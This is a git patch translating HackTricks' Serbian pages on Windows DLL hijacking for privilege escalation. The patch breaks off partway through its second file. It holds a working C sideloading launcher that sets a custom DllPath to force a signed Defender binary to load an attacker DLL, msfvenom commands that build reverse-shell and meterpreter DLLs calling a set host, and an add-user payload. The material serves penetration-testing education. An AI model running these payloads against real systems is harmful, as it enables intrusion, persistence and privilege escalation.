From cb7a34932b8c62fb29ba73526fb3b764b7a08f4f Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 21:32:01 +0000 Subject: [PATCH] Translated ['', 'src/windows-hardening/windows-local-privilege-escalatio --- .../dll-hijacking.md | 201 +++++++++++---- .../dll-hijacking/README.md | 244 ++++++++++++------ 2 files changed, 318 insertions(+), 127 deletions(-) diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md index ed7c70ce3..f26c72e35 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md @@ -4,119 +4,211 @@ -## Basic Information +## Osnovne informacije -DLL Hijacking uključuje manipulaciju pouzdane aplikacije da učita zlonamerni DLL. Ovaj termin obuhvata nekoliko taktika kao što su **DLL Spoofing, Injection, i Side-Loading**. Uglavnom se koristi za izvršavanje koda, postizanje postojanosti i, ređe, eskalaciju privilegija. Iako je fokus ovde na eskalaciji, metoda hijackinga ostaje dosledna kroz ciljeve. +DLL Hijacking podrazumeva manipulaciju poverljivom aplikacijom da učita maliciozni DLL. Ovaj termin obuhvata nekoliko taktika kao što su **DLL Spoofing, Injection, and Side-Loading**. Najčešće se koristi za izvršavanje koda, postizanje persistence, i ređe za privilege escalation. Uprkos fokusu na eskalaciju ovde, metoda hijack-ovanja ostaje ista za sve ciljeve. -### Common Techniques +### Uobičajene tehnike -Nekoliko metoda se koristi za DLL hijacking, svaka sa svojom efikasnošću u zavisnosti od strategije učitavanja DLL-a aplikacije: +Koriste se različite metode za DLL hijacking, čija je efikasnost zavisna od načina na koji aplikacija učitava DLL-ove: -1. **DLL Replacement**: Zamena pravog DLL-a sa zlonamernim, opcionalno koristeći DLL Proxying da očuva funkcionalnost originalnog DLL-a. -2. **DLL Search Order Hijacking**: Postavljanje zlonamernog DLL-a u pretraznu putanju ispred legitimnog, iskorišćavajući obrazac pretrage aplikacije. -3. **Phantom DLL Hijacking**: Kreiranje zlonamernog DLL-a za aplikaciju da učita, misleći da je to nepostojeći potrebni DLL. -4. **DLL Redirection**: Modifikovanje pretraživačkih parametara kao što su `%PATH%` ili `.exe.manifest` / `.exe.local` datoteke da usmere aplikaciju na zlonamerni DLL. -5. **WinSxS DLL Replacement**: Zamena legitimnog DLL-a sa zlonamernim u WinSxS direktorijumu, metoda koja se često povezuje sa DLL side-loading. -6. **Relative Path DLL Hijacking**: Postavljanje zlonamernog DLL-a u direktorijum pod kontrolom korisnika sa kopiranom aplikacijom, podsećajući na tehnike Binary Proxy Execution. +1. **DLL Replacement**: Zamena legitimnog DLL-a malicioznim, opcionalno koristeći DLL Proxying da se sačuva funkcionalnost originalnog DLL-a. +2. **DLL Search Order Hijacking**: Postavljanje malicioznog DLL-a u putanju pre legitimnog, iskorišćavajući obrazac pretrage aplikacije. +3. **Phantom DLL Hijacking**: Kreiranje malicioznog DLL-a koji aplikacija pokuša da učita misleći da je u pitanju nepostojeći potreban DLL. +4. **DLL Redirection**: Modifikovanje parametara pretrage kao što su %PATH% ili .exe.manifest / .exe.local fajlovi da se aplikacija usmeri na maliciozni DLL. +5. **WinSxS DLL Replacement**: Zamena legitimnog DLL-a malicioznim u WinSxS direktorijumu, metoda često povezana sa DLL side-loading. +6. **Relative Path DLL Hijacking**: Postavljanje malicioznog DLL-a u direktorijum pod kontrolom korisnika sa kopiranom aplikacijom, što podseća na Binary Proxy Execution tehnike. -## Finding missing Dlls +## Pronalaženje nedostajućih Dll-ova -Najčešći način da se pronađu nedostajući DLL-ovi unutar sistema je pokretanje [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) iz sysinternals, **postavljajući** **sledeća 2 filtera**: +Najčešći način za pronalaženje nedostajućih DLL-ova u sistemu je pokretanje [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) iz sysinternals-a, **postavljanjem** **sledеća 2 filtera**: ![](<../../images/image (311).png>) ![](<../../images/image (313).png>) -i samo prikazivanje **File System Activity**: +i prikazivanjem samo **File System Activity**: ![](<../../images/image (314).png>) -Ako tražite **nedostajuće dll-ove uopšte**, možete **ostaviti** ovo da radi nekoliko **sekundi**.\ -Ako tražite **nedostajući dll unutar specifične izvršne datoteke**, trebali biste postaviti **drugi filter kao "Process Name" "contains" "\", izvršiti ga, i zaustaviti hvatanje događaja**. +Ako tražite **missing dlls in general** ostavite ovo da radi nekoliko **sekundi**.\ +Ako tražite **missing dll inside an specific executable** trebalo bi da postavite **još jedan filter kao "Process Name" "contains" "\", pokrenete ga, i zaustavite hvatanje događaja**. ## Exploiting Missing Dlls -Da bismo eskalirali privilegije, najbolja šansa koju imamo je da možemo **napisati dll koji će privilegovani proces pokušati da učita** na nekom od **mesta gde će biti pretraživan**. Stoga, moći ćemo da **napišemo** dll u **folderu** gde se **dll pretražuje pre** foldera gde se nalazi **originalni dll** (čudan slučaj), ili ćemo moći da **pišemo u neki folder gde će se dll pretraživati** i originalni **dll ne postoji** u bilo kom folderu. +Da bismo izvršili privilege escalation, najbolja prilika je da možemo **napisati DLL koji će neki privilegovani proces pokušati da učita** u nekom od **mesta gde će biti pretraživan**. Dakle, možemo **upisati** DLL u **folder** gde će se **DLL pretražiti pre** foldera gde se nalazi **originalni DLL** (neobičan slučaj), ili ćemo moći **upisati u neki folder gde će se DLL pretraživati** a originalni **DLL ne postoji** u bilo kojem folderu. ### Dll Search Order -**Unutar** [**Microsoft dokumentacije**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **možete pronaći kako se DLL-ovi specifično učitavaju.** +**U** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **možete pronaći kako se DLL-ovi specifično učitavaju.** -**Windows aplikacije** traže DLL-ove prateći set **predefinisanih pretražnih putanja**, pridržavajući se određenog redosleda. Problem DLL hijacking-a nastaje kada se štetni DLL strateški postavi u jedan od ovih direktorijuma, osiguravajući da se učita pre autentičnog DLL-a. Rešenje za sprečavanje ovoga je osigurati da aplikacija koristi apsolutne putanje kada se poziva na DLL-ove koje zahteva. +Windows aplikacije traže DLL-ove prateći skup unapred definisanih putanja pretrage, po određenom redosledu. Problem DLL hijackinga nastaje kada se štetan DLL strateški postavi u jedan od tih direktorijuma tako da bude učitan pre autentičnog DLL-a. Rešenje da se to spreči je osigurati da aplikacija koristi apsolutne putanje kada referencira potrebne DLL-ove. -Možete videti **DLL pretražni redosled na 32-bitnim** sistemima ispod: +Možete videti **DLL search order na 32-bitnim** sistemima ispod: 1. Direktorijum iz kojeg je aplikacija učitana. -2. Sistem direktorijum. Koristite [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) funkciju da dobijete putanju ovog direktorijuma.(_C:\Windows\System32_) -3. 16-bitni sistem direktorijum. Ne postoji funkcija koja dobija putanju ovog direktorijuma, ali se pretražuje. (_C:\Windows\System_) -4. Windows direktorijum. Koristite [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) funkciju da dobijete putanju ovog direktorijuma. +2. System directory. Koristite [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) funkciju da dobijete putanju ovog direktorijuma.(_C:\Windows\System32_) +3. 16-bit system directory. Ne postoji funkcija koja dobija putanju ovog direktorijuma, ali se pretražuje. (_C:\Windows\System_) +4. Windows directory. Koristite [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) funkciju da dobijete putanju ovog direktorijuma. 1. (_C:\Windows_) 5. Trenutni direktorijum. -6. Direktorijumi koji su navedeni u PATH promenljivoj okruženja. Imajte na umu da ovo ne uključuje putanju po aplikaciji koju određuje **App Paths** registry ključ. **App Paths** ključ se ne koristi prilikom izračunavanja DLL pretražnog puta. +6. Direktorijumi koji su navedeni u PATH environment variable. Obratite pažnju da ovo ne uključuje per-application putanju specificiranu kroz **App Paths** registry key. **App Paths** ključ se ne koristi pri izračunavanju DLL search path. -To je **podrazumevani** pretražni redosled sa **SafeDllSearchMode** omogućenim. Kada je on onemogućen, trenutni direktorijum se penje na drugo mesto. Da biste onemogućili ovu funkciju, kreirajte **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** registry vrednost i postavite je na 0 (podrazumevano je omogućeno). +To je **podrazumevani** redosled pretrage sa omogućenim **SafeDllSearchMode**. Kada je on onemogućen, current directory prelazi na drugo mesto. Da onemogućite ovu opciju, kreirajte **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** registry vrednost i postavite je na 0 (podrazumevano je enabled). -Ako se [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) funkcija pozove sa **LOAD_WITH_ALTERED_SEARCH_PATH**, pretraga počinje u direktorijumu izvršnog modula koji **LoadLibraryEx** učitava. +Ako se [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) funkcija pozove sa **LOAD_WITH_ALTERED_SEARCH_PATH**, pretraga počinje u direktorijumu izvršne module koji **LoadLibraryEx** učitava. -Na kraju, imajte na umu da **dll može biti učitan ukazujući apsolutnu putanju umesto samo imena**. U tom slučaju, taj dll će se **samo pretraživati u toj putanji** (ako dll ima bilo kakve zavisnosti, one će se pretraživati kao da su učitane po imenu). +Na kraju, imajte u vidu da **DLL može biti učitan navodeći apsolutnu putanju umesto samo imena**. U tom slučaju taj DLL će **biti tražen samo u toj putanji** (ako taj DLL ima zavisnosti, one će se tražiti kao da su upravo učitane po imenu). -Postoje i drugi načini za promenu načina pretražnog reda, ali ih ovde neću objašnjavati. +Postoje i drugi načini da se menja redosled pretrage, ali ih ovde neću objašnjavati. -#### Exceptions on dll search order from Windows docs +### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath -Određene izuzetke od standardnog DLL pretražnog reda beleže Windows dokumenti: +Napredan način da deterministički utičete na DLL search path novokreiranog procesa je postavljanje DllPath polja u RTL_USER_PROCESS_PARAMETERS prilikom kreiranja procesa koristeći ntdll-ove native API-je. Ako ovde navedete direktorijum pod kontrolom napadača, ciljani proces koji rešava importovani DLL po imenu (bez apsolutne putanje i bez korišćenja safe loading flag-ova) može biti primoran da učita maliciozni DLL iz tog direktorijuma. -- Kada se naiđe na **DLL koji deli svoje ime sa jednim već učitanim u memoriji**, sistem zaobilazi uobičajenu pretragu. Umesto toga, vrši proveru preusmeravanja i manifest pre nego što se vrati na DLL već u memoriji. **U ovom scenariju, sistem ne sprovodi pretragu za DLL**. -- U slučajevima kada je DLL prepoznat kao **poznati DLL** za trenutnu verziju Windows-a, sistem će koristiti svoju verziju poznatog DLL-a, zajedno sa bilo kojim od njegovih zavisnih DLL-ova, **preskočivši proces pretrage**. Registry ključ **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** sadrži listu ovih poznatih DLL-ova. -- Ako **DLL ima zavisnosti**, pretraga za tim zavisnim DLL-ovima se sprovodi kao da su označeni samo svojim **imenima modula**, bez obzira na to da li je inicijalni DLL identifikovan putem pune putanje. +Ključna ideja +- Izgradite process parameters sa RtlCreateProcessParametersEx i pružite custom DllPath koji pokazuje na vaš kontrolisani folder (npr. direktorijum gde se nalazi vaš dropper/unpacker). +- Kreirajte proces pomoću RtlCreateUserProcess. Kada ciljani binarni fajl reši DLL po imenu, loader će konsultovati dostavljeni DllPath tokom rezolucije, omogućavajući pouzdano sideloading čak i kada maliciozni DLL nije u istom direktorijumu kao ciljni EXE. -### Escalating Privileges +Napomene/ograničenja +- Ovo utiče na child proces koji se kreira; razlikuje se od SetDllDirectory, koja utiče samo na trenutni proces. +- Cilj mora importovati ili LoadLibrary DLL po imenu (bez apsolutne putanje i bez korišćenja LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories). +- KnownDLLs i hardkodirane apsolutne putanje ne mogu biti hijack-ovane. Forwarded exports i SxS mogu promeniti prioritet. + +Minimalan C primer (ntdll, wide strings, pojednostavljeno rukovanje greškama): +```c +#include +#include +#pragma comment(lib, "ntdll.lib") + +// Prototype (not in winternl.h in older SDKs) +typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)( +PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, +PUNICODE_STRING ImagePathName, +PUNICODE_STRING DllPath, +PUNICODE_STRING CurrentDirectory, +PUNICODE_STRING CommandLine, +PVOID Environment, +PUNICODE_STRING WindowTitle, +PUNICODE_STRING DesktopInfo, +PUNICODE_STRING ShellInfo, +PUNICODE_STRING RuntimeData, +ULONG Flags +); + +typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)( +PUNICODE_STRING NtImagePathName, +ULONG Attributes, +PRTL_USER_PROCESS_PARAMETERS ProcessParameters, +PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, +PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, +HANDLE ParentProcess, +BOOLEAN InheritHandles, +HANDLE DebugPort, +HANDLE ExceptionPort, +PRTL_USER_PROCESS_INFORMATION ProcessInformation +); + +static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) { +DWORD n = GetModuleFileNameW(h, out, cch); +for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; } +} + +int wmain(void) { +// Target Microsoft-signed, DLL-hijackable binary (example) +const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe"; + +// Build custom DllPath = directory of our current module (e.g., the unpacked archive) +wchar_t dllDir[MAX_PATH]; +DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH); + +UNICODE_STRING uImage, uCmd, uDllPath, uCurDir; +RtlInitUnicodeString(&uImage, image); +RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\""); +RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory +RtlInitUnicodeString(&uCurDir, dllDir); + +RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx = +(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx"); +RtlCreateUserProcess_t pRtlCreateUserProcess = +(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess"); + +RTL_USER_PROCESS_PARAMETERS *pp = NULL; +NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd, +NULL, NULL, NULL, NULL, NULL, 0); +if (st < 0) return 1; + +RTL_USER_PROCESS_INFORMATION pi = {0}; +st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi); +if (st < 0) return 1; + +// Resume main thread etc. if created suspended (not shown here) +return 0; +} +``` +Primer operativne upotrebe +- Postavite zlonamerni xmllite.dll (koji eksportuje potrebne funkcije ili proxy-uje na pravi) u vaš direktorijum DllPath. +- Pokrenite potpisani binarni fajl za koji je poznato da traži xmllite.dll po imenu koristeći gore opisanu tehniku. Loader rešava import putem navedenog DllPath i sideload-uje vaš DLL. + +Ova tehnika je viđena u prirodi da pokreće multi-stage sideloading lance: inicijalni launcher ispusti pomoćni DLL, koji potom pokreće Microsoft-potpisani, hijackable binarni fajl sa prilagođenim DllPath-om kako bi naterao učitavanje napadačevog DLL-a iz staging direktorijuma. + + +#### Izuzeci u redosledu pretrage DLL-ova iz Windows dokumentacije + +Windows dokumentacija beleži određene izuzetke od standardnog redosleda pretrage DLL-ova: + +- Kada se naiđe na **DLL koji deli ime sa nekim koji je već učitan u memoriju**, sistem zaobilazi uobičajenu pretragu. Umesto toga, vrši proveru za redirekciju i manifest pre nego što zadano izabere DLL koji je već u memoriji. **U ovom scenariju, sistem ne vrši pretragu za DLL**. +- U slučajevima kada je DLL prepoznat kao **known DLL** za trenutnu verziju Windows-a, sistem će koristiti svoju verziju te known DLL, zajedno sa svim njenim zavisnim DLL-ovima, **izostavljajući proces pretrage**. Registry key **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** sadrži listu ovih known DLL-ova. +- Ako **DLL ima zavisnosti**, pretraga za tim zavisnim DLL-ovima se vrši kao da su naznačeni samo svojim **module names**, bez obzira da li je početni DLL bio identifikovan putem pune putanje. + +### Eskalacija privilegija **Zahtevi**: -- Identifikujte proces koji radi ili će raditi pod **različitim privilegijama** (horizontalno ili lateralno kretanje), koji **nema DLL**. -- Osigurajte da je **pristup za pisanje** dostupan za bilo koji **direktorijum** u kojem će se **DLL** **pretraživati**. Ova lokacija može biti direktorijum izvršne datoteke ili direktorijum unutar sistemske putanje. +- Identifikujte proces koji radi ili će raditi pod **različitim privilegijama** (horizontalno ili lateralno kretanje), a koji **nema DLL**. +- Osigurajte da postoji **write access** za bilo koji **direktorijum** u kojem će se **DLL** **pretraživati**. Ova lokacija može biti direktorijum izvršnog fajla ili direktorijum unutar system path. -Da, zahtevi su komplikovani za pronalaženje jer je **po defaultu čudno pronaći privilegovanu izvršnu datoteku bez dll-a** i još je **čudnije imati dozvole za pisanje u folderu sistemske putanje** (to ne možete po defaultu). Ali, u pogrešno konfiguriranim okruženjima ovo je moguće.\ -U slučaju da imate sreće i ispunjavate zahteve, možete proveriti [UACME](https://github.com/hfiref0x/UACME) projekat. Čak i ako je **glavni cilj projekta zaobilaženje UAC**, možete pronaći **PoC** DLL hijacking-a za verziju Windows-a koju možete koristiti (verovatno samo menjajući putanju foldera gde imate dozvole za pisanje). +Da, uslovi su teški za pronalaženje jer je **po defaultu pomalo čudno pronaći privilegovani izvršni fajl kome nedostaje DLL** i još je **čudnije imati write permissions na folderu u system path** (po defaultu to nije moguće). Međutim, u pogrešno konfigurisanom okruženju to je moguće.\ +Ako imate sreće i ispunjavate ove uslove, možete pogledati projekat [UACME](https://github.com/hfiref0x/UACME). Čak iako je **glavni cilj projekta da zaobiđe UAC**, tamo možete naći **PoC** Dll hijacking-a za verziju Windows-a koju možete iskoristiti (verovatno samo menjajući putanju foldera u kojem imate write permissions). -Imajte na umu da možete **proveriti svoje dozvole u folderu** tako što ćete: +Napomena da možete **proveriti svoje dozvole u folderu** radeći: ```bash accesschk.exe -dqv "C:\Python27" icacls "C:\Python27" ``` -I **proverite dozvole svih foldera unutar PATH**: +I **proverite dozvole svih direktorijuma u PATH**: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` -Možete takođe proveriti uvoze izvršne datoteke i izvoze dll-a sa: +Takođe možete proveriti importe izvršnog fajla i eksporte dll-a pomoću: ```c dumpbin /imports C:\path\Tools\putty\Putty.exe dumpbin /export /path/file.dll ``` -Za potpuni vodič o tome kako **zloupotrebiti Dll Hijacking za eskalaciju privilegija** sa dozvolama za pisanje u **System Path folder**, proverite: +For a full guide on how to **zloupotrebiti Dll Hijacking za eskalaciju privilegija** with permissions to write in a **System Path folder** check: + {{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md {{#endref}} -### Automatizovani alati +### Automatski alati -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) će proveriti da li imate dozvole za pisanje u bilo kom folderu unutar sistemskog PATH-a.\ -Drugi zanimljivi automatizovani alati za otkrivanje ove ranjivosti su **PowerSploit funkcije**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ i _Write-HijackDll._ +[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) će proveriti da li imate dozvole za pisanje u bilo kom folderu unutar system PATH.\ +Drugi interesantni automatizovani alati za otkrivanje ove ranjivosti su **PowerSploit functions**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ and _Write-HijackDll._ ### Primer -U slučaju da pronađete scenarij koji se može iskoristiti, jedna od najvažnijih stvari za uspešno iskorišćavanje bi bila da **napravite dll koji izvozi barem sve funkcije koje će izvršni program uvesti iz njega**. U svakom slučaju, imajte na umu da Dll Hijacking dolazi u obzir kako bi se [escaliralo sa Medium Integrity nivoa na High **(zaobilaženje UAC)**](../authentication-credentials-uac-and-efs.md#uac) ili sa [**High Integrity na SYSTEM**](#from-high-integrity-to-system)**.** Možete pronaći primer **kako napraviti validan dll** unutar ove studije o dll hijacking-u fokusirane na dll hijacking za izvršenje: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\ -Pored toga, u **sledećem odeljku** možete pronaći neke **osnovne dll kodove** koji bi mogli biti korisni kao **šabloni** ili za kreiranje **dll-a sa neobaveznim izvezenim funkcijama**. +Ako pronađete scenario koji se može iskoristiti, jedna od najvažnijih stvari za uspešan exploit je da **napravite dll koji izvozi bar sve funkcije koje će executable importovati iz njega**. Imajte na umu da Dll Hijacking može biti koristan za [escalate from Medium Integrity level to High **(bypassing UAC)**](../authentication-credentials-uac-and-efs.md#uac) or from[ **High Integrity to SYSTEM**](#from-high-integrity-to-system)**.** Možete pronaći primer **how to create a valid dll** inside this dll hijacking study focused on dll hijacking for execution: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\ +Štaviše, u **narednom odeljk**u možete naći neke **osnovne dll kodove** koji mogu biti korisni kao **templates** ili za kreiranje **dll with non required functions exported**. -## **Kreiranje i kompajliranje Dll-ova** +## **Kreiranje i kompajliranje Dlls** ### **Dll Proxifying** -U suštini, **Dll proxy** je Dll sposoban da **izvrši vaš zlonamerni kod kada se učita**, ali takođe da **izloži** i **radi** kao **očekivano** tako što **preusmerava sve pozive na pravu biblioteku**. +U suštini, **Dll proxy** je Dll sposoban da **izvrši vaš zlonamerni kod prilikom učitavanja**, ali i da **izlaže** i **radi** kao **očekivano** preusmeravajući sve pozive na pravu biblioteku. -Sa alatom [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) ili [**Spartacus**](https://github.com/Accenture/Spartacus) možete zapravo **naznačiti izvršni program i odabrati biblioteku** koju želite da proxify i **generisati proxified dll** ili **naznačiti Dll** i **generisati proxified dll**. +Sa alatom [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) or [**Spartacus**](https://github.com/Accenture/Spartacus) možete zapravo **navesti an executable and select the library** koju želite proxify i **generisati a proxified dll** ili **navesti the Dll** i **generisati a proxified dll**. ### **Meterpreter** @@ -124,17 +216,17 @@ Sa alatom [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) ili ```bash msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll ``` -**Dobijte meterpreter (x86):** +**Nabavite meterpreter (x86):** ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll ``` -**Kreirajte korisnika (x86 nisam video x64 verziju):** +**Kreiraj korisnika (x86, nisam video x64 verziju):** ``` msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll ``` -### Vaš +### Vaše -Napomena da u nekoliko slučajeva Dll koji kompajlirate mora **izvoziti nekoliko funkcija** koje će biti učitane od strane procesa žrtve, ako ove funkcije ne postoje **binarni fajl neće moći da ih učita** i **eksploit će propasti**. +Imajte na umu da u nekoliko slučajeva Dll koji kompajlirate mora da **eksportuje više funkcija** koje će biti učitane od strane victim process. Ako te funkcije ne postoje, **binary neće moći da ih učita** i **exploit će propasti**. ```c // Tested in Win10 // i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared @@ -222,4 +314,7 @@ return TRUE; +- [Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/) + + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md index 28e56dd3f..b9aae243e 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md @@ -3,118 +3,211 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Osnovne informacije -DLL Hijacking uključuje manipulaciju pouzdane aplikacije da učita zlonamerni DLL. Ovaj termin obuhvata nekoliko taktika kao što su **DLL Spoofing, Injection, i Side-Loading**. Uglavnom se koristi za izvršavanje koda, postizanje postojanosti i, ređe, eskalaciju privilegija. Iako je fokus ovde na eskalaciji, metoda otmice ostaje dosledna kroz ciljeve. +DLL Hijacking podrazumeva manipulaciju pouzdanom aplikacijom da učita zlonamerni DLL. Ovaj termin obuhvata više taktika kao što su **DLL Spoofing, Injection, and Side-Loading**. Koristi se uglavnom za izvršavanje koda, postizanje persistencije i, ređe, za eskalaciju privilegija. Iako je ovde fokus na eskalaciji, metod hijack-ovanja ostaje isti bez obzira na cilj. -### Common Techniques +### Uobičajene tehnike -Nekoliko metoda se koristi za DLL hijacking, svaka sa svojom efikasnošću u zavisnosti od strategije učitavanja DLL-a aplikacije: +Koristi se nekoliko metoda za DLL hijacking, čija je efikasnost zavisna od strategije učitavanja DLL-ova koju aplikacija koristi: -1. **DLL Replacement**: Zamena pravog DLL-a sa zlonamernim, opcionalno koristeći DLL Proxying da očuva funkcionalnost originalnog DLL-a. -2. **DLL Search Order Hijacking**: Postavljanje zlonamernog DLL-a u pretraznu putanju ispred legitimnog, iskorišćavajući obrazac pretrage aplikacije. -3. **Phantom DLL Hijacking**: Kreiranje zlonamernog DLL-a za aplikaciju da učita, misleći da je to nepostojeći potrebni DLL. -4. **DLL Redirection**: Modifikovanje pretraživačkih parametara kao što su `%PATH%` ili `.exe.manifest` / `.exe.local` datoteke da usmere aplikaciju na zlonamerni DLL. -5. **WinSxS DLL Replacement**: Zamena legitimnog DLL-a sa zlonamernim u WinSxS direktorijumu, metoda koja se često povezuje sa DLL side-loading. -6. **Relative Path DLL Hijacking**: Postavljanje zlonamernog DLL-a u direktorijum pod kontrolom korisnika sa kopiranom aplikacijom, podsećajući na tehnike Binary Proxy Execution. +1. **DLL Replacement**: Zamena originalnog DLL-a zlonamernim, opciono uz korišćenje DLL Proxyinga da bi se sačuvala funkcionalnost originalnog DLL-a. +2. **DLL Search Order Hijacking**: Postavljanje zlonamernog DLL-a u putanju pre legitimnog DLL-a, iskorišćavajući obrazac pretrage aplikacije. +3. **Phantom DLL Hijacking**: Kreiranje zlonamernog DLL-a koji aplikacija pokušava da učita misleći da je u pitanju nepostojeći obavezan DLL. +4. **DLL Redirection**: Modifikacija parametara pretrage kao što su %PATH% ili .exe.manifest / .exe.local fajlovi da se aplikacija usmeri na zlonamerni DLL. +5. **WinSxS DLL Replacement**: Zamena legitimnog DLL-a zlonamernim u WinSxS direktorijumu, metoda često povezana sa DLL side-loadingom. +6. **Relative Path DLL Hijacking**: Postavljanje zlonamernog DLL-a u direktorijum pod kontrolom korisnika zajedno sa kopiranom aplikacijom, što podseća na Binary Proxy Execution tehnike. -## Finding missing Dlls +## Pronalaženje nedostajućih DLL-ova -Najčešći način da se pronađu nedostajući DLL-ovi unutar sistema je pokretanje [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) iz sysinternals, **postavljajući** **sledeća 2 filtera**: +Najčešći način da se pronađu nedostajući DLL-ovi u sistemu je pokretanje [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) iz sysinternals, **postavljanjem** **sledeća 2 filtera**: ![](<../../../images/image (961).png>) ![](<../../../images/image (230).png>) -i samo prikazivanje **File System Activity**: +i samo prikažite **File System Activity**: ![](<../../../images/image (153).png>) -Ako tražite **nedostajuće dll-ove uopšte**, možete **ostaviti** ovo da radi nekoliko **sekundi**.\ -Ako tražite **nedostajući dll unutar specifične izvršne datoteke**, trebali biste postaviti **drugi filter kao "Process Name" "contains" "\", izvršiti ga, i zaustaviti hvatanje događaja**. +Ako tražite **nedostajuće dll-ove u opštem smislu**, pustite ovo da radi nekoliko **sekundi**.\ +Ako tražite **nedostajući dll unutar određenog izvršnog fajla**, treba da postavite još jedan filter kao što je "Process Name" "contains" "\", izvršite ga i zaustavite hvatanje događaja. -## Exploiting Missing Dlls +## Eksploatisanje nedostajućih DLL-ova -Da bismo eskalirali privilegije, najbolja šansa koju imamo je da možemo **napisati dll koji će privilegovani proces pokušati da učita** na nekom od **mesta gde će biti pretraživan**. Stoga, moći ćemo da **napišemo** dll u **folderu** gde se **dll pretražuje pre** foldera gde se nalazi **originalni dll** (čudan slučaj), ili ćemo moći da **pišemo u neki folder gde će se dll pretraživati** i originalni **dll ne postoji** u bilo kom folderu. +Da bismo eskalirali privilegije, najbolja šansa je biti u mogućnosti da **zapišemo DLL koji će proces sa višim privilegijama pokušati da učita** u nekom od **mesta gde će se tražiti**. Dakle, moći ćemo da **zapišemo** DLL u **folder** gde se DLL pretražuje pre foldera gde se nalazi **originalni DLL** (čudan slučaj), ili ćemo moći da **zapišemo u neki folder gde će se DLL tražiti**, dok originalni **DLL ne 